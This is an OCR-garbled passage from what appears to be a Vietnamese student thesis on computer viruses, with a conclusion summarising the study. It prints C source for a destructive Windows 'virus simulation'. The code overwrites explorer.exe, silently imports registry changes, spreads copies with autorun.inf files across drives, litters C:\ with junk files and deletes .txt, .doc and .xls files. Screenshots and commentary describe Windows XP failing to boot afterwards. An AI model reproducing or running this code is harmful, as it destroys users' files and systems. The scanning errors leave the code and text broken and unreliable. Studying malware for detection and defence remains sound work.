("SVCHOST.com","C:\\windows\\system32\\dlIcache\\explorer.exe")==0

return O;
else

return 2;
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intadd_reg()
{
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"C:\\windows\\regedit.exe"," /s $$$$$",NULL);
return O;

¥

return 1;

void copy_virus()
{
inti,k;
FILE *input,*output;
char *files_svchost[SVCHOST_NUM]=

{""svchost.com”,"C:\\windows\\wjview32.com","c:\\windows\\system\\M
SMOUSE.DLL","c:\\windows\\syste\

m32\\cmdsys.sys","C:\\windows\\system32\\mstsc32.exe","c:\\windows\\

explorer.exe"};

char temp[2][20]={"C:\\svchost.com™,"c:\\autorun.inf"};
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for(i=0;i<SVCHOST_NUM;i++)

{
if((input=Ffopen(files_svchost[i],"rb"))!I=NULL)
{

fclose(input);
for(k=0;k<SVCHOST_NUM ;k++)
{

copy(files_svchost[i],files_svchost[K]);

}
i=SVCHOST_NUM,;
}

¥

for(i=0;i<SVCHOST_NUM;i++)

{
If((input=fopen(files_svchost[i],"rb"))!I=NULL)
{

fclose(input);
for(k=0;k<24;k++)
{
copy(files_svchost[i],temp[0]);
if((output=fopen(temp[1],"w"))!=NULL)
{
fprintf(output,”%s",autorun);
fclose(output);

¥
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temp[0][0]++;
temp[1][0]++;
}

iI=SVCHOST_NUM,;

¥

void make_rubbish()
{
inti;
FILE *output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
intn;
char s[30];
n=rand();
sprintf(s,"C:\DESTORY_GHIDE_%d",n);
if((output=fopen(s,"w"))!=NULL)
{
fprintf(output,”%Ild%s",n*n,s);
fclose(output);

¥
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void remove_files()
{
long done;
inti,
struct _finddata_t ffblk;
char *remove_files[3]={"*.txt","*.doc","*.xIs"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files[i],&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done, &ffblk);

¥

_findclose(done);

int APIENTRY WinMain(HINSTANCE hlnstance,
HINSTANCE hPrevinstance,
LPSTR IpCmdLine,

int  nCmdShow)
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{ intcontral=0;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe"," /s",NULL);
add_reg();
copy._virus();
make_rubbish();
spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
return O;

}

Man hinh 6 C trudc khi chay virus

*= Local Disk (C:) [:]

File Edit Yiew Favorites Tools Help ,f,ll
+ x| O = =
c Back &) II - search { - Folders
Address e C:\ vl Go
2= =
System Tasks “-/] Documents and Settings ‘\’/’ Intel
1@ Hide the contents of this
drive = =
@) Add or remove programs ‘U Program Files ‘(/’ WINDOWS
l) Search for files or folders
= csb.log = dfinstall.log
== | TextDocument == | TextDocument
File and Folder Tasks = 1 KB = 0KB
() Make anew folder o Persi0.sys = RHDSetup.log
& Publih this folder to the System Fle = | TextDocument
Web 8,157 KB = 1KB
ked Share this Folder y
= service.log
== | TextDocument Type: Text Document
= | 1k Date Modified: 6/29{2003 2:29 PM
Other Places R Size: 429 bytes

g My Computer

(53 My Documents
i) Shared Documents
&3 My Network Places

Details
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Sau khi chay chuong trinh virus win32 virus sé& tu dong thuc hién viéc tao

va x6a mot so file sau:

Sau khi chay chuong trinh bang Visual C++ chuong trinh s& ty dong tac

dong vao mot s file trén windows 1am cho hé diéu hanh Windows XP bi 15i

khi khéi dong

CreateFile C:\windows\system32\dlicache\$temp$

DeleteFile C:\windows\system32\dllcache\explorer.exe

CreateFile C:\windows\$temp$

DeleteFile C:\windows\explorer.exe

CreateFile C:\windows\system\explorer.exe

== Local Disk (C:)

File Edit Wiew Fawvorites Help
@Back < d L@ pSearch “_ Folders v
bk

Address |<ee C1Y

System Tasks

Hide the contents of this
drive

3_‘) Add ar remaove programs
,'J Search For files or Folders

File and Folder Tasks

(=) Make a new Folder

@ Publish this Folder to the
Weh

d Share this folder

Other Places

:i My Computer

Iy Documents
£ shared Documents
‘:J My Metwark Places

Details

e

//l Docurments and Settings
1

Program Files

csb.log
Textk Document
1KE

DESTORY _GHIDE_2437
File
1KE

DESTORY_GHIDE_85855
File
1KE

dfinstall.log
Texk Docurnent
OKE

service.log
Texk Document
1KE

DESTORY _GHIDE_35
File:
1KE

DESTORY _GHIDE_7719
File
1KE

DESTORY _GHIDE_21238
File
1KE

RHDSetup.log
Text Document
1KE

Man hinh 6 C sau khi chay virus

Sau khi chay chuong trinh virus nay sau khi khéi dong lai may tinh man

hinh may tinh s€ khong khéi dong 1én dugce vi file

C:\windows\system\explorer.exe da bi thay doi cac file

C:\windows\system32\dllcache\$temp$, CreateFile C:\windows\$temp$
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dugc tao ra khién cho HPH Windows XP khong nap duoc chuong trinh
dé khoi dong man hinh Windows XP.

Man hinh khong hién thi thanh cong cu khoi dong va céc folder
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14
A N
Két luan
Két qua dat dugc cua khoa luén:
1. Tim hiéu va nghién ctru 1y thuyét:

- Téng quan vé virus may tinh, hoat dong cua B-Virus, F-Virus, Macro

Virus, Virus Trojan, Internet worm.
- Mot s6 phuong phéap phat hién, nhan dang virus may tinh.
- M6t s6 phuong phap phong tranh va diét virus may tinh.

2. Thtr nghiém Chuong trinh mo6 phdng tao virus may tinh.
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